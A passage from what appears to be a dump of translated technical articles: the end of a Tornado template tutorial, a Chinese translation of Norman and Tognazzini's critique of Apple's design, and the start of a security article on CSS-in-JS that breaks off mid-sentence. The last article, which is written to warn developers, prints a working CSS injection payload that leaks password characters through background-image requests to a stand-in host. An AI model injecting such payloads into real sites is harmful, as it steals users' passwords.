execute()\n~~~\n\n在给予的全局命名空间中， **exec** 函数将会执行编译过的代码对象。然后我们就可以在全局中调用 **_execute** 函数了。\n\n### 最后\n\n经过上面的一系列操作，我们便可以尽情的编译我们的模板并得到相对应的结果了。其实在 **tornado** 模板引擎中，还有很多特性是我们没有讨论到的，不过，我们已经了解了其最基础的工作机制，你可以在此基础上去研究你所感兴趣的部分，比如：\n\n- 模板继承\n- 模板包含\n- 其余的一些逻辑控制语句，比如 `else` , `elfi` , `try` 等等\n- 空白控制\n- 特殊字符转译\n- 更多没讲到的模板指令（译者注：请参考 **tornado** [官方文档](http://www.tornadoweb.org/en/stable/)\n"
  },
  {
    "path": "TODO/how-apple.md",
    "content": "> * 原文链接 : [How Apple Is Giving Design A Bad Name](http://www.fastcodesign.com/3053406/how-apple-is-giving-design-a-bad-name)\n* 原文作者 : [Don Norman ](http://www.fastcodesign.com/user/don-norman-and-bruce-tognazzini)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [crackhy](https://github.com/crackhy)\n* 校对者: [achilleo](https://github.com/achilleo)、[iThreeKing](https://github.com/iThreeKing)\n* 状态 :  完成\n\n# 苹果正在带坏整个设计圈\n\n曾几何时，苹果公司因为产品设计易于使用和易于理解而闻名。它是图形用户界面的冠军，总是能够发现可能的动作，清楚地明白如何选择动作，并且得到该动作明确的反馈。如果结果和预期不一致，系统有权力扭转该动作。\n\n不再如此。尽管现在的产品确实比以前更漂亮，但是美丽是付出了巨大的代价换来的。良好设计的基本原则已经一去不复返了：可发现性、反馈、恢复等等。相反，苹果公司为了追求美丽，创造出了很小很薄，并且低对比度的字体，许多视力正常的人都很难或者根本无法阅读这些字体。我们有连开发者自己都记不住的模糊手势。我们有很多人都不会注意到存在的出众特性。\n\n苹果公司的产品，尤其是那些建立在苹果公司为移动设备开发的iOS系统上的产品，已经不再遵守自己几十年前发展起来的众所周知，十分成熟的设计原则，这些设计原则基于实验科学和常识，把计算能力提高了几代，建立了苹果产品名不虚传的可理解性和易用性。可惜的是，苹果公司已经放弃了很多这些原则。诚然，苹果给iOS和Mac OS X开发者的设计指导方针仍然对这些原则表示敬意，但是在苹果公司内部，许多这些原则不再实行。苹果已经迷失了方向，被风格和外观所驱使，以可理解性和易用性为代价。\n\n苹果正在毁灭设计。\n\n苹果正在毁灭设计。更糟糕的是，它使设计出只要外形漂亮的物品这种老旧的理念重新燃起。不，不能这样！设计是思考的一种方式，决定于人们真实的，潜在的需要，然后给人们提供带来帮助的产品和服务。设计包含一个人对科技、社会和商业的理解。制作外形美观的物体只是现代设计的一小部分：当今的设计师们就城市交通系统，卫生保健系统的设计进行研究。苹果公司加强陈旧的，不足以使人信服的理念，即设计者的唯一工作要求就是使物品造型更加美观，甚至以提供正确合适的功能，增强可理解性，确保方便使用产品为代价。\n\n#### 苹果，你曾经是行业的领导者。为什么你如今变得如此自闭？更糟糕的是，为什么谷歌遵循你最坏的例子？\n\n是的，曾几何时，苹果的计算机和应用程序便捷实用，容易理解且功能强大，不需要任何参考手册便可使用，苹果因此闻名。所有的操作都可以被发现（菜单的功能），都可以撤销或重做，并且有相当多的反馈，所以你总是能知道刚刚所发生的一切。用户被鼓励扩散，随着用户们的扩散越来越多的功能被显现出来。苹果的设计指导思想和原则是强大的，流行的和有影响力的。\n\n![](http://ww4.sinaimg.cn/large/005SiNxyjw1ezc1w3tm5vg30r80jm7wy.gif)\n\n然而，在苹果推出自己的平板电脑之后，苹果第一部基于手势界面的手机问世了，这次苹果故意抛弃了许多苹果关键的原则。没有了可发现性，没有了可恢复性，仅仅残存着反馈。为什么？不是因为这是个手势交互，而是因为苹果同时做了个激进的行动，为了达到视觉的简约和优雅，以可学习性，可用性和效率为代价。他们开始了出货系统，然而对于新产品人们在学习和使用上遇到了困难，人们开始渐渐远离它，当人们意识到这些问题时已经为时已晚，钱已经被苹果赚去了。即使到这个时候，人们还倾向于责备他们自己：“如果我不那么笨就好了...!”，其实这些本来就是设备的缺点。\n\n今天的 iPhones 和 iPads 都在简洁视觉上做文章。优美的字体，清爽的外表，外来词，标志或是菜单都是整洁的。然后很多人不能读这些文章，它又有什么用呢？它仅仅美丽而已。\n\n一位女士告诉我们她不得不使用苹果的辅助工具使苹果的小号字体变大能够阅读。然而，她抱怨说在许多软件的屏幕上，这种选择使正常字体变大以至于文本无法适应屏幕。重要的是她没有视力缺陷。她只是没有17岁时的视力，我们猜在苹果把字体宽度变得更薄，对比度更低以前，这位女士可以完美地阅读相同的文本。\n\n![](http://a.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-2-how-apple-is-giving-design-a-bad-name.png)\n\n什么样的设计理念，需要数以百万计的用户不得不假装自己是残疾的，以便能够使用该产品？苹果可能这样设计了自己的手机，使大多数人能够阅读和使用手机，而不必把自己标注为贫困，残疾和需要援助的人。更糟的是，辅助修正破坏了苹果自己很忠爱的美感，并且有时会使得文本不再适合在屏幕上显示。\n\n文本的可读性只是苹果公司的许多失败设计之一。今天的设备缺乏可发现：仅仅看着屏幕是无法知道哪些是可能的操作。你是否用一根手指，两个甚至多达五个向左或向右滑动，向上或向下滑动？你是否滑动或者点击？如果是点击的话，它是单击还是双击？屏幕上的文本真的是文本还是伪装成文本的一个极为重要的按钮？所以很多时候，用户尝试触摸屏幕上的所有东西只是为了找出什么是真正可触的对象。\n\n![](http://e.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-3-how-apple-is-giving-design-a-bad-name.gif)\n\n维韦克·坎普\n\n另一个问题是无法恢复不期望的操作。一个方法是撤销，这是以前图形用户交互聪明的做法。它不仅允许恢复大部分动作，而且使用户能够自由地尝试新动作，当结果与他们期望不同时，他们自己能够恢复到上级操作。可惜的是，苹果发展到iOS以后，开始抛弃系统设计的基本要素-撤销，也许是因为撤消操作要求屏幕上有个撤销对象。对于现在更喜欢简洁优雅而不是简单易用性的苹果来说，这有损于自己的形象。\n\n撤销操作被取消了。所以你猜发生了什么？人们开始集体抱怨了。因此他们用另一种方式把撤销放回来了：通过剧烈摇晃手机或者平板电脑来撤销。但撤消并没有得到普遍的使用，而且除了摇晃没有其他方法知道撤销的存在。甚至如果你摇的方式不对或者某个特定的环境下没有撤销操作，你也发现不了撤销操作的存在。\n\n尤其在相对较小的设备上，触摸屏更容易出现误操作，例如无意点击了一个链接或按了一个按钮。这些无意的触碰把用户带到了新的页面。简单标准的校正这些偶尔误触摸的方法就是放置一个返回键：Android手机已经把返回键作为了一个通用控制，并且返回键总是可用。苹果却没有这么做。 为什么？我们不知道。他们在试图避免弄一个按钮或菜单吗？结果是苹果的做法确实获得了一个干净，优雅的外观，但是简单的外观是骗人的，因为这增加了使用的难度。\n\n在某些位置苹果确实提供了返回箭头，但是与谷歌 Android 却不一样的，Android 上的返回键到处都有，然而苹果的撤销和返回键由开发者来选择。并不是所有人能实现这些功能，也包括苹果。\n\n在没有任何信号的屏幕上（诺曼称之为“标志”），人们是如何知道该向上还是向下滑动，向左还是向右，用一个手指还是两个，三个，四个亦或是五个手指，是单击还是双击亦或是三击，长按还是短按？在知道这些手势后，用户必须得记住这些手势，“阅读手册“（什么手册？）或者无意中发现这些手势操作。\n\n苹果产品是如此地漂亮！结果有趣的是，当人们在使用上遇到困难的时候，他们只是责备自己。这样一来对苹果来说是好事，却对消费者不利。有人应该写一本关于这个的书。（哦，等等，[这里](http://www.jnd.org/books.html)就有[两本](http://www.nngroup.com/people/bruce-tognazzini/)）\n\n好的设计应该是具有吸引力的，令人愉快的，用起来很棒的。但是用起来很棒要求设备容易理解和具有宽容性。好的设计应该遵守基本的心理原则：由理解到控制，然后上升到愉悦。这些原则包括可发现性，反馈，适当的映射，适当的使用限制，当然还有权力撤销某个操作。这些原则都是我们教给那些初步学习交互设计的学生的。如果苹果公司来修这门课，将会是不及格。\n\n更糟糕的是，其他公司都遵循苹果的道路，只注重了外观设计，却忘记了好设计的基本原则。结果，程序员急于完成代码，而不去了解即将使用该产品人。设计师完全集中注意力于使产品看起来漂亮。主管们摆脱了用户体验团队，那些想帮助设计正确产品和确保产品在设计阶段可用的人，以免在制作，编码和发布后才发现问题，那时已经为时已晚。这些公司高管认为前期设计研究，原型和测试必将放慢开发进程。非也！如果处理得当，而且因为这是在早期捕捉问题，甚至在编码开始前就捕捉到问题，相反却可以提高开发速度。\n\n苹果产品通过模糊或者删除重要的控件来隐藏自己的复杂性。\n\n避免正确设计方法的结果是什么呢？是更高的售后成本。不高兴的消费者逐渐叛逃，他们可能仍然赞美苹果的简约界面，但他们会花钱买一个不同品牌的手机，他们希望这些手机实际使用起来能够足够智能。\n\n请不要告诉我们不会使用电脑的爷爷奶奶现在却可以使用像平板电脑之类的科技设备。那么他们究竟掌握了多少新科技呢？是的，像平板电脑和手机等手势控制的设备，这些设备初次使用很简单。但是对于任何高级的操作，他们却有巨大的学习障碍，例如用电子邮件发三张照片，格式化文本，或者组合几个不同操作的结果。这些操作和很多其它操作一样可以在传统计算机上更简单高效地完成。\n\n#### 更具吸引力，更难以使用\n\n新一代的软件在吸引力和计算能力上取得了巨大的飞跃，可是同时也变得更加难用。\n\n不仅仅苹果有这个问题。谷歌地图在迭代的同时变得更有吸引力，也更令人困惑。安卓操作系统也是如此。对于手势操作设备而言，微软的 Windows 8实际上是个聪明智慧的设计，解决了许多我们刚才所描述的问题，但未能将桌面计算机所需的不同操作方式集成用于生产工作。（微软已经意识到这个问题了，跳过了Windows 9，在Windows 10的介绍中，已经明确克服这些问题：我们还没有足够的产品经验来达成任何意见。）\n\n为什么存在这个问题？因为设计有许多分类，就像每门学科有多个方向。在软件开发中，驱动程序程序员不需要擅长交互编程，内核开发者也不需要擅长通信编程。在设计领域，学过心理学的交互设计师知道概念模型，清晰度和可理解性的原则，然而学习计算机科学的这些人却不知道这些原则，甚至那些从事图形设计领域的人似乎还认为交互设计就是网站，他们常常既无法理解编程细节，也无法理解人机交互。\n\n这个问题影响很大。它影响到当人们无法使用好看起来非常完美但实际上并不完美的交互界面的话，他们会觉得自己愚蠢。它使我们的主流产品在可用性和实用性上都倒退了。\n\n#### 什么地方出错了？\n\nTognazzini是我们当中的一人，在创业初期曾在苹果和 Steve Jobs 一起工作。在 Steve Jobs 离开公司不久 Norman 加入了苹果，1996年 Steve Jobs 重返苹果，之后不久 Norman 离开了苹果。我们没能见证从苹果是易于使用，易于理解的产品（当时苹果可以吹嘘有必要无人操作）到今天无人操作，但是又离不开人的转变。我们知道的是在 Jobs 返回公司之前，苹果有一个三管齐下的产品设计方法：用户体验，设计和营销，从设计周期开始的第一天到产品发货，这三个方法都参与其中。\n\n现如今苹果已经对产品可理解性和易用性不再重视了，取而代之的是对产品实行 Bauhaus 简约设计风格。\n\n不幸的是，视觉上的直观简洁不会使产品变得易用，人机交互和人为因素学术期刊的大量文献给出了证明。\n\n苹果的产品故意遮蔽甚至删除重要的控制来隐藏复杂性。正如我们经常想指出的，极致简约是一种一键式控制：非常简单，但是因为只有一个按钮，它的功能是非常有限的，除非系统有模式。模式需要一个相同的控制操作在不同的时间有不同的含义，这将导致混淆和错误。另外，单一的控制可以有好几种工作方式，所以按钮（或者触摸屏）如果单击，双击，或者点击三次，亦或是用一根，两根，三根手指触摸屏幕，上下或者左右滑动屏幕，将会调用不同的操作。或许用特定个数的手指，用特定的次数，沿特定的方向：只需在 Macintosh 上打开苹果控制面板上的“系统偏好设置”然后阅读苹果鼠标或触控板的点击和手势意义之间的选择（和差异）。\n\n![](http://c.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-4-how-apple-is-giving-design-a-bad-name.jpg)\n\n格哈德瓦尔/维基共享\n\n简洁的外观可以使控制更加困难，更加随心所欲，需要记忆，并且容易犯多种形式的错误。事实上，在苹果 Lisa 和 Macintosh 电脑的初期，“无模式”是振臂一呼。没有模式的唯一方法是有专门的控制，并且每个控制都意味着同样的事情。\n\n模式的原理和简洁外观与实际的简单性之间的权衡在基本交互设计课程中有讲过。为什么苹果公司放弃了这个知识？\n\n#### 苹果的人机界面指南\n\n所有现代计算机公司都为他们的开发者出品人机界面指南。苹果是第一个有这样的指导，并且它为良好的，容易理解的设计提供了原则。苹果人机界面指南最早版本由Tognazzini在1978年编写。到了1987年版，写于1985-1986之间，已经纳入了现代接口关键原则。在1996年史蒂夫·乔布斯回来时，这些原则仍然生效。\n\n苹果公司的全套原则是 Tognazzini 从 Mac 界面总结的原则。在此之前，这些原则只由图形用户界面的工作者隐性掌握。写下这些原则使他们明确了，从而缓解对新员工培训和越来越多为 Macintosh 开发产品的任务。\n\n![](http://d.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-5-how-apple-is-giving-design-a-bad-name.jpg)\n\n在抽取原则时，团队主要依靠 HCI 社区做的研究，具体而言，在19世纪80年代早期，诺曼和他的学生在加州大学圣地亚哥分校的工作在HCI会议上发表了，并且在由诺曼和德雷珀主编的书《User Centered System Design》中也发表了。（几个 Macintosh 计算机的早期开发者和参与苹果的提取过程的人，一直在诺曼的班上学习。）\n\n要注意的是，这些原则反映了人们的需求，意愿和人类的能力，而不是他们使用的机器。这些原则不仅适用于19世纪80年代，也适用于今天的接口交互，并且这些原则将一直适用，直到人类进化。这实际上是一个很漫长的过程。\n\n目前[苹果iOS人机界面开发者指南](https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/index.html#//apple_ref/doc/uid/TP40006556-CH66-SW1)的确提出了众多相关的设计原则，但重点显然是在外观，尤其是外观简洁，还有用户的愉悦和享受。这些都是重要的属性，但是很不充分。\n\n具体而言，开发者指南不少于14次告诫开发者要确保微妙的视觉传达。当然，设计应保持干净，并尽可能简单，但不能去除必要的能指。设计师如何知道这些东西是否是必要的？唯一已知的方法是测试用户。\n\n这真是一个好主意。\n\n不，这是一个强制性的想法。参与测试的并不是你所期望的用户，而是他们的代表，啊不，如苹果暗示的，仅仅是几个同事。\n\n#### 苹果在追求视觉简洁中丢掉了西瓜\n\n最初的苹果设计原则强调使系统容易理解的重要性，简单易学，不用手册。在前进的路上，苹果丢失了过去自己遵循的重要原则。图一展示了随时间发生的变化（由工业设计师迈克尔·迈耶为我们准备的，他读了本文的一个早期版本后，收集了这些图并允许我们使用）迈耶的图片追溯了苹果开发者指南核心原则随时间的变化。\n\n\n![](http://f.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-figure-1.jpg)\n\n<figcaption>[图 1\\. 苹果用户界面指南随时间的变化.<span>迈克尔·迈耶</span></figcaption>\n\n\n该图表示了人机界面规范从1995到2015的发展。由于手势设备使用iOS操作系统，它的开发指南放到了2015开发指南的左侧，是更传统的操作系统（OS X）。\n\nPerceived Stability和Modelessness在2008以后的某个时间消失了。\n\nForgiveness和Mental-Model在到iOS的跳跃中消失了，同时Explicit和Implied Actions也分离了。\n\nSee and Point在2010年年底从iOS指南中消失的，当时系统正升级到iOS 4。\n\n尽管更改为按字母顺序排列可能是一个假象（以往的名单有一个隐含的层次结构原则），2015年的iOS意味着审美完整性跳到了顶部，Metaphors和User Control下降到了谷底。\n\n#### 失踪的原则\n\niOS中大部分或者全部丢失的重要原则是：可发现性，反馈，可恢复性，一致性和成长鼓励：\n\n### 可发现性\n\n可发现性，即看一眼系统立马发现所有可能操作的能力，一直是苹果设计成功的一个关键组成部分。在早期这个原则叫做“see and point”（在图 1），因为所有可能的操作都由用户看得见的对象替代了，例如按钮，图标或菜单列表项：找到你想要的操作，把鼠标光标放上去，然后点击执行。简单地说，发现性意味着使操作视觉上可发现，这样就不用把这些操作记下来。传统电脑桌面的菜单很好地体现了这个目的，标记的图标同样是的。未标记的图标经常失败，但最糟糕的罪魁祸首是完全没有任何线索。请注意苹果的指导手册里再也没有可发现性了。\n\n### 反馈\n\n反馈和前馈能让人知道一个操作完成后会发生什么（反馈）或者选择该操作后会发生什么（前馈）。\n\n人们依赖于源源不断的反馈来知道他们的操作是否有效。在物理世界中，反馈是自动的。在软件世界中，只有设计者考虑到反馈才会有反馈。如果没有反馈，人们无法确定当前状态：他们既不掌控也感觉不到掌控。\n\n### 可恢复性\n\n错误发生时，恢复不会比重做难。（在指南和图 1 中叫做“forgiveness”，这也从当前的指南中消失了。）恢复是用“撤销”命令来实现的。撤消起源于1974年（当时的）施乐公司的帕洛阿尔托研究中心（PARC），可能是由Warren Teitelman提出。众所周知的苹果Lisa和Macintosh,他们的基本机构是由在PARC（苹果从富士施乐购买的版权）的早期开发工作得来的。撤销命令可以通过“重做”命令撤销。撤消和重做提供了从错误中恢复的一个有效的方法，但是也可以用来尝试，知道测试的操作可以随时撤销或重做。\n\n撤销使用户能够恢复内容。返回是一个同伴命令，使用户返回到之前在导航系统中的位置。原始的图形用户界面通过关闭导航来结束，然后把文档和工具呈现给用户。浏览器和iOS是一个倒退到以前的导航界面，用户在迷宫一样的通向模态屏幕的通道中彷徨。\n\n浏览器在支持导航的系统中叫网络，提供了返回按钮，使用户能够在他们的旅程中向后移动。iOS没有提供这样的通用工具，所以假如你不小心在一个应用程序中点击了一个链接，指向Safari或YouTube或者众多地方之一，是没有直接恢复方法的。后退和前进应该是iOS的标准按钮，这样界面对意外导航具有宽容性而不是惩罚性。\n\n### 一致性\n\n大多数技术用户拥有多个设备，但不同设备的操作常常发生冲突。即使在同一台设备，苹果也违背了一致性：旋转iPhone，键盘会改变布局；旋转iPad，主屏幕图标会重新排序，没有简单的方法预测图标会跑到哪里。\n\n一致性仍然列在指南中，不过已经不遵循了。魔术鼠标的工作原理不同于触控板，这好比手势在iPhone或平板电脑上不同。为什么？（这种不一致通常可以归咎于设计者的封闭工作，从不与他人讨论。例如[康威](http://www.fastcodesign.com/3053406/how-apple-is-giving-design-a-bad-name?utm_source=digg)，一个公司的产品反映了公司的组织结构。）\n\n### 成长鼓励\n\n良好的设计鼓励人们学习和成长，一旦他们已经学会了基础知识，就接受新的更复杂的任务。快照者成长为摄影师，一人日记作家成为博客作者，孩子尝试编程，并最终寻求计算机科学的职业生涯。几十年来，鼓励学习和成长是苹果的命脉，这是一个重要的原则，被普遍内化和理解。\n\n\n![](http://e.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-6-how-apple-is-giving-design-a-bad-name.jpg)\n\nABISAG TÜLLMANN\n\n\n#### 迪特·拉姆斯和极简主义的合理化\n\n许多苹果最糟糕的隐藏原则常常被宣传苹果只是继承德国著名设计师迪特·拉姆斯的教导而被原谅，他多年来负责德国博朗公司的产品的美感和可理解性。他们特别举出拉姆斯的第十项原则：“好的设计是尽可能少设计”（Vitsoe，2015年）。但是请注意，这是他的第十项原则，而不是他的首要原则。它可能被改写为，“如果你已经遵循了前九条原则，那么是时间停下来了，别把东西塞满。”无论如何，苹果已经违反了许多早期的原则。这里是良好设计的全部10项原则：\n1.  <span>Innovative</span>创新\n2.  <span>Makes a product useful</span>使产品有用\n3.  <span>Aesthetic</span>艺术的\n4.  <span>Makes a product understandable</span>使产品可理解\n5.  <span>Unobtrusive</span>不显眼\n6.  <span>Honest</span>诚实\n7.  <span>Long-lasting</span>持久的\n8.  <span>Thorough down to the last detail</span>详尽\n9.  <span>Environmentally friendly</span>环保\n10.  <span>As little design as possible</span>尽可能少设计\n\n来看看迪特·拉姆斯对于这些原则的部分描述，这是很有用的：\n\n**2\\. 使产品有用**\n\n产品是买来使用的。它必须满足某些标准，不仅实用性，还有心理和美感。良好的设计强调产品而忽视任何可能从它减损的效用。\n\n对于拉姆斯来说实用性是必不可少。模糊控制，消除了重要的功能，如撤销和后退，不会使产品变得好用。事实恰恰相反。\n\n\n![](http://f.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-7-how-apple-is-giving-design-a-bad-name.jpg)\n\nMarco Illuminati\n\n\n**3\\. 艺术的**\n\n产品的艺术特性对于它的易用性来说是不可或缺的，因为我们每天使用的产品会影响我们个人和福祉。但是，只有良好的执行对象是美丽的。\n\n在他的著作和讲座中，拉姆斯明确表示，美学不只是局限在视觉外观：这些对象必学在设计的各个方面都执行良好才能外型美观。正如他的第二条原则指出，这包括功能和心理因素（如可理解性和可用性）。\n\n\n![](http://g.fastcompany.net/multisite_files/fastcompany/imagecache/inline-xlarge/inline/2015/11/3053406-inline-8-how-apple-is-giving-design-a-bad-name.jpg)\n\nMarco Illuminati\n\n**4\\. 使产品可理解**\n\n它阐明了产品的结构。更妙的是，它可以使产品的说话。充其量，它是不言自明的。\n\n虽然苹果的设计原则还在谈论可理解的重要性，可是产品却没反映出来这个特性。苹果的界面有无形的按钮和控制，在一般情况下，缺乏对于理解的帮助。\n\n考虑iPhone和iPad上使用的屏幕键盘。苹果键盘显示的是大写字母，而不管你实际要打什么字母。分辨键盘大小写状态唯一方法是看键盘上的一个向上箭头，这个箭头既不是白色也不是黑色。很奇怪：首先，这意味着人们必须认识到这个向上的箭头是用来控制大小写的。第二，这意味着他们必须知道每种颜色对于的情况。在快速不看你的苹果手机或iPad情况下，你觉得哪种颜色代表小写？\n\n谷歌的安卓屏幕键盘在大写状态下会显示大写，在小写状态下会消失小写。你看，这也不是很难。试想想一般人如何使用该系统。\n\n但是，即使指南试图增强可理解性，他们试图尽量少用翔实的材料，即诺曼所说的“能指”（虽然诺曼称他们为能指，暴露了自己对他们交际功能的偏见，苹果称他们为“装饰”，暴露了自己的偏见。）\n\n对于信号交互，内置的应用程序使用各种线索，包括颜色，位置，上下文和有意义的图标与标签。用户很少需要额外的装饰，来显示屏幕上的元素是交互的或暗示它是什么。\n\n最新的人机界面指南确实在尽力解决这些问题。此外，现在苹果提供工具来确保合规性。例如，我们对字体可读性的投诉正在处理。首先，现在的指南声明：文本必须清晰可辨。如果用户不能看清你的应用程序里的字的话，板式再漂亮也没有用。\n\n其次，苹果提供了一个工具“动态式”，无需开发人员关注就能正确地改变字体。指南中解释说动态类型可以自动调整字间距和行高，并正确地响应用户对文字大小的设置（包括辅助文本大小）。我们需要一段时间才能知道这些变化是否有帮助。不幸的是，一旦一种文化被设定，就很难改变，苹果公司故意把文化侧重于视觉外观上的可理解性与易用性。\n\n#### IOS 9\n\n在一家拥有快速产品周期的高科技公司传递批评是一个挑战。事实上，在苹果发布的最新移动操作系统iOS9中，一些我们所讨论的问题已经得到解决。但是这又带来了两个问题：\n\n**是什么让他们花这么长时间？**\n\n如果苹果去学习一门基础的交互设计课程，会是不及格。\n\n例如，设计决定当键盘处于大写状态，就应该显示大写字母，当处于小写状态，就应该显示小写字母，很明显，未能提供有关当前模式的简单反馈无视了所以的轻信。那么，这不是以前苹果的作风：虽然最终在iOS9中改正了，到底是什么花了这么长时间？\n\n**苹果已经采取的解决方案对低级用户创造了更多的内存负载。**\n\n一篇福布斯文章的标题说明了一切：\"[苹果iOS 9的25个秘密功能](http://www.forbes.com/sites/gordonkelly/2015/09/19/apple-ios-9-secrets/).\" 秘密功能？如果这些是很强大的功能，为什么会是秘密的？他们为什么这么难以发现？有新的方法来滑动：从右，左，上，下或是中间。用一个，二哥或者更多的手指。在我们的经历中，用相同数量的手指和相同的滑动动作似乎在不同的地方会有不同的结果。\n\n苹果：请了解能指和可见指标对低级迷茫用户的帮助，并且让他们明确。下面是一个不该做的例子：对于“屏幕的旋转被锁定”的图标可以是灰色或不是黑色。但是当它是灰色或者不是灰色时图标是锁定的吗？原来苹果使用文字来说明，但是是用很小的字体且不再图标上。我们当中的一个成员用了5分钟来寻找如何禁用锁定，最终发现了文本-那为什么还需要五分钟来学习一个频繁的操作？\n\n#### 存在的问题及解决方案\n\n良好的用户体验来自于市场营销、平面和工业设计、工程和可靠性共同作用的结果，使得生活更美好、愉悦，使苹果用户更富有出创造力。\n\n设计是一个复杂的领域，有许多独立的分支学科。工业设计主要关注的是材料和形式，这是苹果公司擅长的领域。平面设计是关于美学和人机交流，但苹果公司强调外观不能损害通信组件。\n\n交互设计应强调可发现性、反馈和人的感觉控制的能力。当前交互强调愉悦情感的影响，认为这是重要的。为了了解这个部分，需要让人对这个系统如何工作养成一个良好的心理模式，这是同样重要的。\n\n苹果的设计过程变得不平衡。用人机界面指南解决不平衡,是针对开发人员的，但开发人员都不是问题的根本。苹果才是问题的根本。\n\n今天,人们被迫记住任意手势。我们永远不会知道什么是允许的。当我们不小心触碰屏幕，系统把我们带到新的地方，但是没有办法备份或者回到早些的状态。这是我们不得不从头再来。设计似乎已经放弃了科学和苹果自己的交互设计经验，在这一领域苹果曾经是领头人。\n\n图形和交互设计师在平等伙伴关系工作（和工业设计师，工程师和程序员一起）。所有的设计都需要由专业人员测试错误和可靠性，去看改变是否有益。\n\n美丽是付出了巨大的代价换来的。\n\n最后，我们总结苹果公司目前正确且合适的指南和声明，传达了正确的设计理念。\n\n**尊重.**UI(用户界面)帮助人们了解并与内容交互，但从不与之竞争。\n\n**明晰**文字在任何大小都清晰可辨，图标是精确和清晰的，装饰是细微且合适的，集中于功能开发将推动设计。\n\n**深度**视觉层次和真实的动作赋予活力和提高人们的喜悦与理解\n\n最后：虽然明快，美观的用户界面和流畅的动作都彰显出了iOS的用户体验，用户内容是iOS的核心，确保提升你的设计功能并满足用户内容。\n\n棒极了苹果！请遵循自己指南的灵魂，并落到实处！\n"
  },
  {
    "path": "TODO/how-can-i-use-css-in-js-securely.md",
    "content": "\n> * 原文地址：[How can I use CSS-in-JS securely?](https://reactarmory.com/answers/how-can-i-use-css-in-js-securely)\n> * 原文作者：[James K Nelson](https://reactarmory.com/authors/james-k-nelson)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-can-i-use-css-in-js-securely.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-can-i-use-css-in-js-securely.md)\n> * 译者：[Yuuoniy](https://github.com/Yuuoniy)\n> * 校对者：[HydeSong](https://github.com/HydeSong) [Tina92](https://github.com/Tina92)\n\n# 如何安全地使用 CSS-in-JS ？\n\nCSS-in-JS 允许我把 JavaScript 变量插入到 CSS 中，这给了我很大的权限，但这样安全吗？\n\n恶意用户可以仅仅通过 CSS 注入的方式给我造成怎样的破坏性影响？我该如何进行防范？\n\nCSS-in-JS 是一门令人兴奋的新技术，完全不需要 CSS  的 `class` 名字。它可以充分利用 CSS 的功能直接给你的组件添加样式。不幸的是，它也促使未转义的 props 插入到 CSS 中，将你暴露给注入攻击。\n\n而 CSS 注入攻击是一个 **重大的安全隐患**。\n\n如果你的网站或 APP 接受用户输入并将其显示给其他用户，那么使用如 [styled-components](https://www.styled-components.com/docs/advanced#security)  或 [glamorous](https://github.com/paypal/glamorous/issues/300) 这样的 CSS-in-JS 库可能会破坏你的网站。更糟的是，你可能会无意中允许攻击者从用户端发出请求，提取他们的数据，窃取其证书，甚至执行任意的 JavaScript 脚本。\n\n当然，安全地使用 CSS-in-JS 是有可能的，你只需要遵守以下简单的法则。\n\n## 黄金法则\n\n永远不要将用户的输入插入到样式表中。\n\n没有经过处理的用户输入很难可以正确地插入到样式表。所以除非你知道你在做什么，否则不要尝试将其插入。\n\n如果你必须基于用户输入添加样式，请考虑使用原生的 style 属性，你传给 `style` 对象的任何东西都是安全的。\n\n如果该法则被正确地遵循，就可以确保用户的安全。但仅仅一次失误用户的密码就可能被偷...\n\n## 利用 CSS-in-JS \n\nCSS-in-JS 就像 CSS 中的 `eval`，它们接受任意输入并将其当作 CSS 来读取。\n\n问题是它们会逐字读取任意输入，即使是不可靠的。更糟糕的是，它们允许你通过 `props`  传递变量，从而助长了不可靠的输入。\n\n如果你的样式组件有 props 的值是用户设置的，那么你需要手动处理输入。否则恶意用户将能够将任意样式注入其他用户的页面。\n\n但样式只是样式，对吗？它们不会那么吓人...\n\n### 窃取密码的 `color`\n\n假设你想允许用户选择他们的个人资料页面的颜色，就像 Twitter 那样。对于普通的 CSS 来说，这有点难实现。但是 CSS-in-JS 可以使其变得简单，你只需要添加一个 `color` prop！\n\n正因为如此，后端开发人员已经处理了 API 方面的事情，现在你可以在你的样式组件中添加 `color` prop。\n\n由于你的 APP 是单页面的，因此打开登录表单时会覆盖个人资料页。而且由于后端开发人员没有验证就将 color 值存储在文本字段中，恶意用户可以设置一个会窃取用户密码的 `color`：\n\n因为工具对插入的字符串执行类似 CSS 的 `eval` 操作，所以这样会起作用。 如果你使用标准的内联样式，或者始终记得清理你的输入，那么你是安全的。\n\n```\n// - 添加更多的选择器来获取更多信息\n// - 你也可以使用不同类型的属性选择器\n// - 把接受的值与某个字典比较\n//     从而对你的数据作出相对正确的猜测\n\nvar color = `#8233ff;\nhtml:not(&) {\n  input[value*=\"pa\"] { background: url(https://localhost/?pa) }\n  input[value*=\"as\"] { background: url(https://localhost/?as) }\n  input[value*=\"ss\"] { background: url(https://localhost/?ss) }\n  input[value*=\"sw\"] { background: url(https://localhost/?sw) }\n  input[value*=\"wo\"] { background: url(https://localhost/?wo) }\n  input[value*=\"or\"] { background: url(https://localhost/?or) }\n  input[value*=\"rd\"] { background: url(https://localhost/?rd) }\n}`\n```\n\n你可以在 [Reading Data via CSS Injection](https://www.curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html) 阅读更多像这样的攻击。\n\n通过使用 password 输入框上的属性选择器根据当前输入改变背景图时，这种攻击也会起作用。以下是在我输入 ‘密码’ 之后 Chrome 开发工具的网络选项卡的样子：\n\n![](https://reactarmory.com/cad5ea782b425e1e9ac072b3c8aa52d9.png)\n\n虽然这种攻击不能窃取所有密码，但它仍会窃取相当多的密码。一些被盗的密码足以毁掉你一天的工作。\n\n这是在 codesandbox 中使用 styled-components 进行的 